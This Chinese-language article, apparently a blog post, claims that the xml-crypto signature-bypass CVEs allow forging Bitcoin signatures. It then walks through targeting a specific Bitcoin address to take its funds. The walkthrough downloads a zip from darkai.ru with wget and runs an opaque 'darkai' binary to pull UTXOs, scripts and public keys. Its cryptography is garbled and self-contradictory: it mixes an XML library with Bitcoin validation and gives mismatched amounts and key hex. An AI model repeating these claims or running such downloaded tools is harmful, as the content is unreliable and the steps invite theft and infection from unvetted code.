在本文中,我们将探讨数字签名伪造攻击(Digital Signature Forgery Attack)的密码学原理,其后果对比特币网络中的交易安全构成威胁,因为数字签名用于确认加密货币转账的所有权和授权。我们将根据现代研究和已识别的漏洞,分析此类攻击对比特币的影响示例。
数字签名伪造攻击(Digital Signature Forgery Attack)是指攻击者试图创建一个被比特币网络视为有效的虚假 ECDSA 数字签名。这种攻击允许在不知道所有者私钥的情况下授权交易,从而危及 BTC 币持有者加密钱包中资金的安全。
在密码学中,数字签名用于确认消息或交易的真实性。签名伪造意味着可以创建一个被系统视为有效的“RawTX”对,尽管实际上它并非由私钥持有者创建。这为欺诈、资金盗窃以及破坏区块链完整性打开了大门。数字签名伪造攻击(DSFA)作为一种密码学攻击,在软件组件中实现,这些组件使用 xml-crypto 库在 Node.js 平台上验证 XML 文档的签名。
首先,这涉及到企业集成解决方案、云服务和单点登录系统,例如 IBM App Connect Enterprise Certified Container 以及其他依赖 xml-crypto 进行 SAML 认证和授权的应用程序。硬件漏洞不与特定物理设备相关,而是在使用易受攻击库的软件产品中实现。
漏洞 CVE-2025-29774 和 CVE-2025-29775,称为数字签名伪造攻击,在 xml-crypto 软件库中实现,该库是一个用于在 Node.js 平台上对 XML 文档进行数字签名和加密的库。
安全公告:IBM App Connect Enterprise Certified Container 操作数易受 XML 数据签名验证绕过漏洞影响 [CVE-2025-29774] [CVE-2025-29775]
CVE-2025-29774 和 CVE-2025-29775(SAMLStorm)的披露。
因此,此代码实现了各种方案(RSA 与不同 SHA 哈希以及 HMAC-SHA1)的密码签名和签名验证算法,使其能够集成到需要数据数字签名的系统中。
signature-algorithms.ts 代码用于安全地创建和验证数字签名,确保数据的真实性和完整性。ECDSA 签名使用私钥提供作者验证,而 HMAC 使用密钥提供完整性和真实性验证。所使用的算法符合 XML 数字签名标准(算法 URI 指向 W3C 规范)。
因此, signature-algorithms.ts 代码实现了各种方案(ECDSA、RSA 与不同 SHA 哈希以及 HMAC-SHA1)的密码签名和签名验证算法,使其能够集成到需要数据数字签名的系统中。
SignatureAlgorithm 并提供以下方法:
getSignature):接受签名数据和私钥,返回 base64 格式的数字签名。verifySignature):接受输入、公钥和签名,返回布尔值指示签名是否正确。getAlgorithmName):返回标识所用签名算法的 URI。crypto.createSign 和 crypto.createVerify 以及相应的算法(“RSA-SHA1”、“RSA-SHA256”、“RSA-SHA512”)。crypto.createHmac 和“SHA1”算法。createOptionalCallbackFunction 中,这大概允许它们与回调和 Promise 一起使用(代码中未给出详细信息)。密码签名中使用 RSA-SHA1 算法存在与 SHA-1 哈希碰撞相关的漏洞。如果攻击者控制部分被签名数据,则允许其创建两个具有相同签名的不同消息。
具体来说,问题在于类 RsaSha1:
const signer = crypto.createSign("RSA-SHA1"); // 易受攻击的行
signature-algorithms.ts#L7
第二个漏洞同样出现在类 RsaSha1 中:
const verifier = crypto.createVerify("RSA-SHA1"); // 易受攻击的行
signature-algorithms.ts#L17
HmacSha1不太容易受到攻击,但也已过时。HMAC 比“裸”SHA-1 更能抵抗碰撞,但首选切换到 SHA-256。
CVE-2025-29774 和 CVE-2025-29775 是 Node.js 的 xml-crypto 库中的严重漏洞,与 XML 文档中数字签名的不正确验证有关。这两个漏洞都允许攻击者修改签名的 XML 消息,而不会被签名验证发现。
在提供的 代码 中,类 RsaSha1 使用了过时的 RSA-SHA1 算法进行签名和验证:
const signer = crypto.createSign("RSA-SHA1"); // 易受攻击的行 №7
const verifier = crypto.createVerify("RSA-SHA1"); // 易受攻击的行 №17SHA1 被认为在密码学上是不安全的,主要问题在于 库处理 XML 结构的逻辑:
<SignedInfo>,这导致验证期间哈希计算不正确。<Signature> <SignedInfo>...</SignedInfo> <!-- 原始节点 --> <SignedInfo>...</SignedInfo> <!-- 由攻击者添加 --> </Signature>
// Usage SHA-256 / SHA-1 const signer = crypto.createSign("RSA-SHA256");<SignedInfo>。解决这些漏洞对于使用XML签名进行身份验证的系统(如SAML、SOAP)至关重要。
xml-crypto 库被广泛用于验证XML消息中的数字签名,包括SAML、SOAP等协议。因此,该漏洞可能影响:
要评估特定设备的风险,建议检查它们是否使用易受攻击版本的xml-crypto或依赖类似的XML签名机制。对于基于Node.js的加密货币钱包,IBM提供单独的解决方案,如IBM Secure Bitcoin Wallet,这是一个基于Electrum比特币客户端、使用Node.js与比特币网络交互和管理钱包的应用程序。
在该解决方案中,私钥和钱包可以使用IBM Cloud Hyper Protect Crypto Services (zHSM)进行存储和加密,该服务提供基于硬件的安全密钥存储。比特币钱包私钥的生成通常在专门的加密库中实现,如Electrum、bitcoinjs-lib等,这些库可以集成到Node.js应用程序中。IBM Secure Bitcoin Wallet使用基于Node.js的修改版Electrum后端进行密钥和交易管理,通过集成IBM Cloud Hyper Protect Crypto Services提供硬件加密和私钥安全存储。
从漏洞CVE-2025-29775的理论可知,攻击者可以利用未更新的xml-crypto库处理不正确的交易值。让我们进入文章的实际部分,以比特币钱包为例:32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe,其中丢失了0.059672 BTC,截至2025年7月,该金额约为7,052 USD。
让我们考虑Raw transaction格式:包含所有交易信息的二进制和十六进制数据。它用于在低层传输、验证或创建交易,是整个比特币网络运行的基础。普通用户很少直接接触Raw transactions,但对于开发者和加密爱好者来说,这是完全控制比特币网络所有交易的主要工具。
Raw Transaction
为了在比特币网络中完全找回UTXO对象,我们将使用Dark AI工具。UTXO是区块链数据结构的主要部分,代表可由私钥持有者(控制该比特币地址)花费的BTC币数量。每个UTXO是特定过去交易的输出,且从未在后续交易中用作输入。
https://colab.research.google.com/drive/1TKrJ0bKsNgc72H9UvzpCnh2YPmRsyPdW
命令:
!wget https://darkai.ru/repositories/neuralnet_tools.zipwget — 用于通过HTTP、HTTPS和FTP协议从网络下载文件的命令行工具。neuralnet_tools.zip归档文件。unzip — 解压当前目录中ZIP归档的命令。此命令解压neuralnet_tools.zip中的所有文件。
!unzip neuralnet_tools.zip
让我们运行ls命令以便快速查看。
ls
!./darkai
让我们运行命令获取指定比特币地址的所谓未花费交易输出(UTXO,解码:Unspent Transaction Output)信息。这些信息对于评估地址余额和进行新交易的可能性至关重要。
!./darkai -bitcoinaddress 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe[
{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200},
{'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}
]每个UTXO包含:
<txid>:<n>,其中<txid>是唯一的交易哈希,<n>是该交易输出列表中的输出编号。8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0地址的可用总余额等于所有找到的UTXO之和:

我们使用解读过程来处理未更新的xml-crypto库,以创建无效的交易值并发送大额金额,Dark AI算法将选择使用哪个UTXO(或组合两者)。
比特币地址32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe有两个活跃的UTXO,共计0.05677200 BTC。这些资金可用于进行新交易;两个输出均被视为已确认且未花费。
要获取比特币交易输出的信息片段,请使用以下命令,其中交易的第一个输出(
outs)具有唯一标识符8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd
!./darkai -deserialize 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 — 定义了使用此输出条件的脚本。
a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287a914...87 开头,对应于 P2SH(Pay to Script Hash) 格式:
a9— OP_HASH160 (哈希操作符)14— 下一个值的长度 (20字节 = 40个十六进制字符)06612b7cb2027e80ec340f9e02ffe4a9a59ba762— Bitcoin 钱包地址本身的 hash160,BTC 币存储在其中。87— OP_EQUAL (一种基本的比特币脚本命令操作符,用于比较两段数据以验证其一致性)通过标识符
8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd反序列化交易的结果中,获得了第一个输出,包含 677,200 聪(0.00677200 BTC),由 P2SH 脚本保护。要管理这些资金,需要出示目标脚本并正确签署满足指定哈希条件的解锁交易。
要获取比特币交易原始数据(
output)的输出信息片段,请应用以下命令,其中唯一标识符bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786的交易的第一个输出(outs)
!./darkai -deserialize bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786通过解释过程,借助 Dark AI 使用反序列化函数,我们随后获得了标识符为 bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786 的第二个交易第一个输出元素(output)的结构信息。
结果:
{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}5000000'outs' 数组元素中的特定交易输出相关联。只有在满足 'script' 字段中定义的脚本条件时,才能使用此金额。
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'指定值对应于比特币网络中的标准脚本类型:
a9— 操作码 OP_HASH160(对下一行数据进行 SHA-256 然后 RIPEMD-160 操作)。14— 后续字段长度:20 字节(40 个十六进制字符)。06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 一个 20 字节的哈希,标识比特币钱包地址或脚本。87— 操作码 OP_EQUAL。合在一起,此条目表示 P2SH 地址(Pay-to-Script-Hash)。在这种情况下,资金被分配给某个脚本组合,要提取它们,需要公开其哈希记录在此处的脚本,并出示满足该脚本条件的签名(或其他数据)。
此方案最常见的用途包括多签名、简单和复杂智能合约、双边多签名、有条件的安全方案以及其他高级场景。
06612b7cb2027e80ec340f9e02ffe4a9a59ba762 对应的 P2SH 地址中。因此,反序列化结果报告了在条件性(P2SH)地址中存在一定数量的比特币,并定义了严格的支出规则,这在比特币网络中的资金管理和核算中起关键作用。
脚本 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287' 被选择并用于此交易输出,因为它代表了比特币网络中典型的 P2SH(Pay-to-Script-Hash) 锁定脚本。
让我们逐部分分析:
a9— OP_HASH160:一种哈希操作,先对后续数据应用 SHA-256,然后应用 RIPEMD-160。14— 哈希长度为 20 字节(十六进制格式)。06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 脚本的 20 字节哈希,称为 脚本哈希。87— OP_EQUAL:检查栈上两个值是否相等的操作符。因此,此脚本要求在使用时(花费资金)出示一个哈希值与 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 匹配的脚本,并满足该脚本的条件。
脚本
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'是一个 P2SH 锁定脚本,它表明要花费 0.05 BTC,需要提供具有哈希06612b7cb2027e80ec340f9e02ffe4a9a59ba762的原始脚本,并满足其中指定的条件。这在便利性、安全性和功能性之间取得了平衡——这也是在此交易中选择此特定脚本的主要原因。P2SH 脚本中的哈希06612b7cb2027e80ec340f9e02ffe4a9a59ba762是原始脚本(redeem script)特定哈希的结果,该脚本定义了从此输出花费资金的条件。
06612b7cb2027e80ec340f9e02ffe4a9a59ba762。此哈希唯一标识生成它的确切脚本。SHA-256 + RIPEMD-160)从原始赎回脚本(redeem script)生成的,因此不可能随机或任意选择不同的哈希。a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 中。因此,选择此特定哈希是由输出与特定支出条件的准确和安全链接的需求决定的,这些条件控制着区块链中资金的使用权限。所有这些都通过加密哈希函数的特性、其唯一性以及无法逆向恢复原始数据来保证。
比特币开发者已将 P2SH(Pay-to-Script-Hash) 机制写入代码,作为一项关键创新,确保安全并扩展区块链网络的能力。我们来考虑该脚本的结构和工作原理、它与经典交易的区别,以及选择这种存储和保护数字资产方法的原因。
传统上,比特币交易使用 Pay-to-Pubkey-Hash (P2PKH) 方案运作——资金通过接收者的公钥哈希“锁定”。要花费这些资金,用户必须提供其数字签名和公钥,由网络进行验证。
然而,除 P2PKH 之外,接口是有限的,因为比特币脚本允许更复杂的支出条件,从多重签名到时间锁以及其他智能合约协议。问题在于,冗长且复杂的脚本不可避免地增加了交易大小,降低了可用性。
正是为了简化与这些复杂场景的交互,P2SH 概念于 2012 年引入,由 Gavin Andresen 在 BIP 16 中标准化。P2SH 的本质在于将 scriptPubKey 中完整的支出条件脚本替换为其 加密哈希 ——即所谓的脚本哈希。

我们来看反序列化后指定的脚本:
OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUAL该脚本与标准 P2PKH 的不同之处在于,它不存储公钥哈希,而是存储 redeemScript 的哈希——一组资金可被花费的条件。
要花费此类资金,需要在引用此输出的交易输入(scriptSig)中传输:
处理交易时,网络节点:
因此,P2SH 将呈现和验证支出条件的责任从发送者(创建所需脚本)转移到花费者。
P2SH 允许创建具有任意、通常多级条件的地址——例如,多重签名要求(2/3、3/5 等)、时间限制、分配逻辑等。此时,发送者只需将资金发送到紧凑的哈希地址,无需了解技术细节。
无需在区块链中存储完整脚本,交易中仅存储其哈希。这减轻了网络负担,减小了区块大小,并加快了交易验证速度。
由于 redeemScript 仅在花费时才会揭示和验证,增加了条件的机密性,使得未经授权的访问尝试更加困难。使用加密哈希函数保证了对伪造和篡改的保护——脚本的任何微小偏差都会导致不同的哈希,网络将拒绝接受该交易。
P2SH 标准化并简化了比特币中复杂智能合约的使用,简化了集成,提高了与各种钱包和服务的兼容性。
一个经典示例是需要五个参与者中两个签名才能完成交易的钱包。使用 P2SH:
这使得 P2SH 成为企业账户、合资企业以及其他需要访问控制的场景的理想选择。 Pay-to-Script-Hash (P2SH) 机制是比特币架构的基础部分,在以下方面提供了平衡:

ins)的密码分析我们执行命令获取哈希为 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132 的交易的一个输入的信息。对此输入的分析对于理解脚本层面资金花费的授权机制非常重要。
!./darkai -scriptsig 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132提取交易第一个输入(
ins)的结果如下:
{
'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae',
'outpoint': {
'index': 1,
'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'
},
'sequence': 4294967295
}script)的详细分析script 的值是 scriptSig ,用于解锁相应的上一个交易输出。00 开头,在 scriptSig 上下文中可表示 OP_0 ,传统上用于多重签名场景(例如,在 Pay-to-Script-Hash 多重签名标准中需要占位符)。3045...),通常由包含签名细节的一系列字节组成。'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'— 是上一个交易的哈希。'index': 1— 指示用于解锁的第二个输出(从零开始编号)。4294967295 (0xFFFFFFFF) 是 32 位最大数。对给定交易哈希的第一个交易输入(
ins)提取的密码分析表明:
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577:1。因此,获取的数据有助于更深入地理解检查资金花费权利的机制,用于确保比特币网络的安全性,以及在基于比特币脚本的智能合约开发与审计中。
outs)结果的详细分析我们执行命令获取标识符为
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577的交易的一个输出的信息。
!./darkai -redeemscript ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577具体提取了该交易的第二个输出(
outs),索引为 1 的元素。
{
'value': 350000,
'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
}value 的详细分析
script 的值a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 是经典的 P2SH(Pay-to-Script-Hash) 格式的锁定脚本(scriptPubKey)。a9— OP_HASH160 运算符,先对输入数据应用 SHA-256,再应用 RIPEMD-160。14— 下一个值的长度(20 字节),即哈希大小。06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 20 字节的哈希,也称为 脚本哈希 ,是控制这些资金花费的赎回脚本的唯一标识。87— OP_EQUAL 运算符,比较两个值,若相等则返回 true。因此,该脚本要求:要解锁(花费资金),用户必须提供一个赎回脚本,其哈希与此值匹配。
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577 关联到一个包含 0.0035 BTC 的输出。06612b7cb2027e80ec340f9e02ffe4a9a59ba762。
收到的信息确认,第二个交易输出记录
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577存储了 0.0035 BTC,该输出由标准 P2SH 脚本控制,其 hash160 值为06612b7cb2027e80ec340f9e02ffe4a9a59ba762。要管理这些资金,必须提供相应的赎回脚本,这为比特币管理提供了高水平的安全性和灵活性。
OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae让我们运行命令来获取 HASH160。比特币开发者设定了一个 20 字节哈希(十六进制)的标准,该标准在其他流行加密货币(如比特币(BTC)、以太坊(ETH)、泰达币(USDT)、币安币(BNB)、Solana(SOL)、瑞波币(XRP)、卡尔达诺(ADA)、狗狗币(DOGE)、USDC(USDC)、波卡(DOT)、Avalanche(AVAX)、Shiba Inu(SHIB)、恒星币(XLM)、波场(TRX)、Chainlink(LINK)、莱特币(LTC)、比特币现金(BCH)、门罗币(XMR))中被广泛使用,以表示脚本和公钥的缩短标识符。
!./darkai -hexdata 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae处理过程:
06612b7cb2027e80ec340f9e02ffe4a9a59ba762这个 20 字节哈希(十六进制)称为 HASH160,在比特币中广泛用于表示脚本和公钥的缩短标识符。
使用加密哈希函数处理比特币脚本的关键步骤。
将序列化脚本或公钥转换为 HASH160 可以实现比特币区块链上数据的高效识别、索引和保护。
收到的哈希:
{'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'}团队生成了精确的哈希值,该哈希值充当了复杂脚本与比特币网络上用于存储和验证交易的紧凑格式之间的桥梁。
中本聪选择在比特币的哈希算法中使用 SHA-256 双重哈希(即连续应用两次 SHA-256)有以下几个重要原因,这些原因增强了网络的密码学强度和安全性。
双重使用
SHA-256是中本聪的刻意选择,旨在为整个比特币系统提供额外的安全层和强大的密码学强度。这种设计最小化了碰撞风险,增强了单向性,并安全地保护了区块链网络上的数据,为交易安全和系统共识奠定了坚实基础。因此,双重 SHA-256 是比特币架构的关键元素,结合了先进的密码学技术和分布式系统。

现代比特币交易的安全性和灵活性基于脚本系统,该系统允许实现复杂的资金花费条件。其中一个关键机制是 多重签名(multisig),即只有在多个有效数字签名(来自一组可能的签名者)存在时才能花费资金。在本文中,我们将详细探讨比特币中如何实现这一机制,什么是 redeemScript、OP_CHECKMULTISIG 指令如何工作,以及为什么这种方案如此受欢迎。
在比特币的上下文中,赎回脚本(redeemScript) 是一个包含资金花费条件的脚本,这些条件以 Pay-to-Script-Hash(P2SH)格式存储在交易输出中。与将完整脚本存储在区块链上不同,输出中存储的是赎回脚本的哈希值,从而节省空间并在花费之前隐藏条件的细节。
RedeemScript 可以包含例如多个公钥和一个门限签名数——这正是多重签名钱包的实现方式。
让我们考虑 OP_CHECKMULTISIG 指令:目的和操作,其中实现多重签名检查的主要元素是 OP_CHECKMULTISIG。
由于 OP_CHECKMULTISIG 实现中的一个历史性 Bug,在执行期间会从栈中多移除一个元素,即一个未使用的值。为避免此问题,scriptSig 在开头使用一个特殊元素
OP_FALSE(值为 0),以补偿此 Bug 并防止潜在漏洞。
OP_FALSE <signature1> <signature2> ... <redeemScript>OP_FALSE基于 redeemScript 代码:
023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG
OP_CHECKMULTISIG 检查提供的两个签名(在 scriptSig 中)是否对应于三个密钥中的两个并且有效。OP_FALSE 在 scriptSig 中用于补偿移除额外值的 Bug。OP_FALSE 的历史,该机制已证明其可靠性并得到广泛应用。RedeemScript 配合 OP_CHECKMULTISIG 指令是比特币武器库中一个复杂而强大的工具,它允许用户创建带有签名阈值的多重签名钱包,为资金提供高水平的安全性和控制力。该机制已成为组织、用户和服务在去中心化、安全环境中实现资产共享管理的基石。因此,通过 redeemScript 和 OP_CHECKMULTISIG 实现的多重签名不仅仅是一项技术,更是一种扩展经典加密货币模型功能的功能。

比特币的多重签名验证机制基于使用带有 OP_CHECKMULTISIG 和 redeemScript 指令的特殊脚本,从而实现阈值签名匹配,提供更高的安全性和资金共享管理。
多重签名是一种系统,其中需要来自给定公钥集合的多个有效签名才能完成交易。典型方案表示为 m of n,例如“2 of 3”,其中需要任意两个来自三个密钥的签名才能授权支出。
在比特币中,该逻辑通过以下方式实现:
指令
OP_CHECKMULTISIG检查提供的scriptSig签名是否有效并与 redeemScript 中发布的公钥匹配。
RedeemScript 的结构大致如下:
OP_M <pubkey1> <pubkey2> ... <pubkeyN> OP_N OP_CHECKMULTISIGOP_M 和 OP_N — 分别指定所需签名数量和公钥总数的指令(例如 OP_2 和 OP_3)。<pubkeyX> — 参与者的公钥。OP_CHECKMULTISIG — 实现多重签名验证的操作符。m,则操作返回 true。一个重要技术特性是
OP_CHECKMULTISIG存在历史实现错误,导致会从栈中移除一个额外的、未使用的元素。为补偿此错误,在scriptSig开头放置一个OP_FALSE(代码 0)值以“锁定”栈偏移。
对于“2 of 3”多重签名钱包,在花费资金前,会按如下方式构建 scriptSig:
OP_FALSE <signature1> <signature2> <redeemScript>OP_FALSE — 用于补偿 OP_CHECKMULTISIG 错误的虚拟值。<signature1> 和 <signature2> — 由对应私钥所有者授权的两个数字签名。<redeemScript> — 包含公钥和验证参数的脚本本身。节点验证交易时:
如果交易的所有输入都通过此检查,则交易被视为有效。凭借此有效性,通过执行此错误操作符,攻击者将 OP_CHECKMULTISIG 作为潜在漏洞进行补偿。
使用
OP_CHECKMULTISIG指令和 redeemScript 的比特币多重签名验证机制允许设置复杂的阈值签名方案,并且通过执行此错误操作符,攻击者将 OP_CHECKMULTISIG 作为比特币分布式网络中受控交易中的潜在漏洞进行补偿。
当 OP_CHECKMULTISIG 检查多个签名时,有哪些特性和限制?让我们看看关键方面和限制:
OP_FALSE 以正确对齐栈。这是社区认可并接受的一个特性。
比特币使用数字签名来授权交易,允许资金所有者确认其处置资金的权利。特别之处在于,签名可以将其作用范围限制在交易的一部分,而非整个交易。这是通过使用特殊标志——SIGHASH 来实现的,该标志确定哪些交易数据确切地属于签名范围内。让我们考虑签名哈希的类型、它们的用途、使用示例,以及在非标准情况下出现的特性。
在对比特币交易进行签名时,会创建一个数字签名,该签名基于交易数据的一个特定片段生成。正是通过 SIGHASH 标志来指示该签名应覆盖数据的哪一部分。签名哈希类型由签名本身的最后一个字节传输,并确定包含在哈希中、从而包含在已签名部分中的区域。这使得可以灵活地形成关于签名者批准交易中哪些具体操作的条件。
这是大多数钱包和客户端的默认签名类型。签名覆盖交易的 所有输入和所有输出,这意味着:
使用此签名类型,所有输入都被签名,但没有任何输出被签名:
此签名类型对所有输入进行签名,但仅对一个输出进行签名——该输出与输入具有相同的序号:
考虑一个包含三个输入的交易,其中从两个输入的签名脚本 (scriptSig) 中提取出了以指向 SIGHASH_SINGLE 的字节
0x03结尾的签名——即仅对相应输入输出对进行签名的签名。然而,我们在这里观察到一种情况:索引为 2 的输入没有对应索引相同的输出。

791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf

由于历史上的比特币错误,在这种情况下,用于签名的交易哈希会返回一个固定数字——1(int 1)。这与正在签名的交易的有效哈希不符,并可能导致安全性和兼容性问题。
除了三种基本的 SIGHASH 值外,还可以与 SIGHASH_ANYONECANPAY 标志组合使用,该标志允许只签名一个输入,而将其他输入保持开放以供修改。这扩展了创建复杂协作协议和多参与方交易的可能性,其中不同参与者只签名他们自己的部分。
SIGHASH类型是Bitcoin中一个巧妙的管理交易内数字签名控制级别和范围的机制。它们在安全性、灵活性和兼容性之间取得了平衡。历史问题包括意外复杂性,例如当没有对应输出时SIGHASH_SINGLE的错误,这凸显了深入理解技术细节对于在高级别成功使用比特币的重要性。
SIGHASH_ALL、SIGHASH_NONE 和 SIGHASH_SINGLE 签名类型之间的差异对比特币交易的安全性有重大影响,因为它们决定了交易中的哪些部分被包含在数字签名中,从而免受篡改。
在比特币交易签名中错误使用或未正确实现 SIGHASH_ALL 可能导致严重漏洞,影响资金安全和系统完整性。这些漏洞的关键方面如下:
SIGHASH_ALL 标志的签名进行不正确或不完整的验证,例如忽略或错误处理尾随字节,可能导致具有错误签名元素覆盖范围(输入和输出)的交易被验证通过。这为攻击者操纵交易部分以禁用保护或提升权限打开了大门。
因此,错误使用
SIGHASH_ALL或在其实施验证中出现错误会严重削弱比特币网络的安全性,使攻击者能够操纵签名和交易。为了应对这些漏洞,正在实施严格的签名格式和范围检查,使用改进的协议(例如SegWit消除了部分签名可变性问题),并标准化安全的签名和交易验证方法。
带有 SIGHASH_ALL 类型的无效签名会增加比特币中双重花费的风险,原因如下:
当使用 SIGHASH_ALL 时,签名覆盖交易的所有输入和输出,确保交易中的任何元素在签名后都不能被更改。然而,如果签名形成不当,例如由于随机数生成或签名参数(r, s)本身出现错误,可能导致部分交易可以在不使签名无效的情况下被更改。特别是,出现一种漏洞,攻击者可以更改交易的个别字段或结构,创建网络接受的变体,但与原始交易不同。
这种签名可塑性允许攻击者创建一个具有不同标识符(txid)的交易替代版本,使追踪和确认支付变得困难,并在某些情况下导致同一输入被重复使用——即双重花费。
此外,如果SIGHASH_ALL 的签名验证实现没有严格检查签名参数的正确性和数据格式,攻击者可以发布伪造签名或利用协议漏洞绕过检查。这为操纵和创建冲突交易留下了开放的机会。
因此,为了降低双重花费的风险,正确生成和验证带有SIGHASH_ALL 的签名、应用签名可塑性防护方法(例如SegWit),以及更新软件并遵循安全建议至关重要。这确保了签名与整个交易结构绑定,保证其不可篡改性和抗滥用能力。
让我们获取与比特币地址
32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe相关的公钥信息。以下是对所获数据的详细分析。
!./darkai -pubkey 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe该命令的输出结果是一个包含三个公钥的列表,以压缩格式(compressed public key) 呈现,十六进制形式:
pubkey = [
'023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d9f359e37e39f0561196',
'03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80',
'03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df'
]02 或03 开头,指示椭圆曲线上点的 Y 坐标符号,后跟 32 字节的 X 坐标。32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe 对应某个 P2SH(Pay-to-Script-Hash)或多重签名地址,其特点是在 redeemScript 中存储多个公钥。公钥列表对应于该保险库中嵌入的集合。多个公钥的集合是多重签名钱包的典型情况。在这种情况下,花费资金需要来自相应私钥的多个签名:
N 是密钥总数,M 是花费所需的最小签名数量。
redeemScript 中,用于 P2SH 场景。比特币地址
32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe与三个以压缩格式呈现的特定公钥相关联。这是比特币多重签名地址的典型特征,为了授权花费,必须提供使用这些密钥中的部分或全部生成的签名,从而提供高水平的安全性和资金管理的灵活性。
为了进行更深入的分析和理解参数,可以进一步研究:
公钥 023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f0561196 是用于 BitPay Copay 多重签名钱包的元素之一,该钱包曾受到涉及 SIGHASH_SINGLE 签名类型处理漏洞的攻击影响。
此公钥以及其他两个(03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80 和 03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df)都是 Copay 钱包 redeemScript 的一部分,该钱包是一个 2-of-3 多重签名钱包。要从这样的地址花费资金,必须提供两个有效签名和 redeemScript。
赎回脚本(RedeemScript)包含这三个公钥,解码后得到以下指令:2 <pubkey1> <pubkey2> <pubkey3> 3 OP_CHECKMULTISIG。这意味着需要三个可能密钥中的两个签名来验证多重签名。OP_CHECKMULTISIG检查每个签名/公钥对的有效性,确保所有签名都与其中一个公钥匹配。scriptSig中的OP_FALSE指令是由于一个已知错误而必需的,即OP_CHECKMULTISIG会从栈中移除一个多余未使用的值。
Copay钱包由BitPay开发,曾遭到攻击,细节由Coinspect披露。该攻击利用了SIGHASH_SINGLE签名类型,该类型仅对相应的输入和输出(与输入索引相同的输出)进行签名。如果不存在该索引的输出,则整数值“1”将作为交易哈希返回,这是一个已知错误,
OP_CHECKMULTISIG会检查三个公钥中的两个签名的真实性。
